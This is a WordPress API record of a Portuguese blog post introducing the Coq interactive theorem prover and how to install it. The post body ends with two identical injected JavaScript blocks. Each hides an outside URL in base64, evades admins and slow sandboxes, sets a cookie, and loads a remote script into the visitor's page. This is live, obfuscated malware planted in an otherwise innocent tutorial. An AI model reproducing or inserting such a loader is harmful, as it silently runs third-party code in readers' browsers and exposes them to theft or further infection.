{"id":4458,"date":"2025-10-17T13:26:53","date_gmt":"2025-10-17T16:26:53","guid":{"rendered":"https:\/\/thiagovespa.com.br\/blog\/?p=4458"},"modified":"2025-10-26T22:30:34","modified_gmt":"2025-10-27T01:30:34","slug":"coq-provando-teoremas-de-forma-programatica","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2025\/10\/17\/coq-provando-teoremas-de-forma-programatica\/","title":{"rendered":"Coq - Provando teoremas de forma program\u00e1tica"},"content":{"rendered":"\n<p>O <a href=\"https:\/\/coq.inria.fr\" title=\"Coq\">Coq<\/a> \u00e9 um \"provador\" de teoremas de maneira interativa. Ele nos auxilia a definir fun\u00e7\u00f5es, predicados, a verificar as provas e suas consist\u00eancias de maneira program\u00e1tica. Existem outras ferramentas que tem um prop\u00f3sito similar, como o <a href=\"https:\/\/isabelle.in.tum.de\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/isabelle.in.tum.de\">Isabelle<\/a> da Universidade de Cambridge, que iremos abordar em outro post.<\/p>\n\n\n\n<p>Para instalar, voc\u00ea pode fazer o <a href=\"https:\/\/github.com\/coq\/coq\/releases\/\" title=\"\u00daltima release do Coq\" target=\"_blank\" rel=\"noreferrer noopener\">download<\/a> da \u00faltima release no github ou utilizar o seu gerenciador de pacotes padr\u00e3o. Outra op\u00e7\u00e3o boa \u00e9 utilizar o docker com a imagem <code>coqorg\/coq<\/code>. Utilize a forma que fique mais adequada a voc\u00ea. Caso tenha alguma d\u00favida, me <a href=\"https:\/\/thiagovespa.com.br\/blog\/contato\/\" title=\"Contato\">avise<\/a>.<\/p>\n\n\n\n<p><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>O Coq \u00e9 um \"provador\" de teoremas de maneira interativa. Ele nos auxilia a definir fun\u00e7\u00f5es, predicados, a verificar as provas e suas consist\u00eancias de maneira program\u00e1tica. Existem outras ferramentas que tem um prop\u00f3sito similar, como o Isabelle da Universidade <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2025\/10\/17\/coq-provando-teoremas-de-forma-programatica\/\">Continue lendo  <span class=\"screen-reader-text\">  Coq - Provando teoremas de forma program\u00e1tica<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4458","post","type-post","status-publish","format-standard","hentry","category-semcategoria"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4458","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=4458"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/4458\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=4458"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=4458"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=4458"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}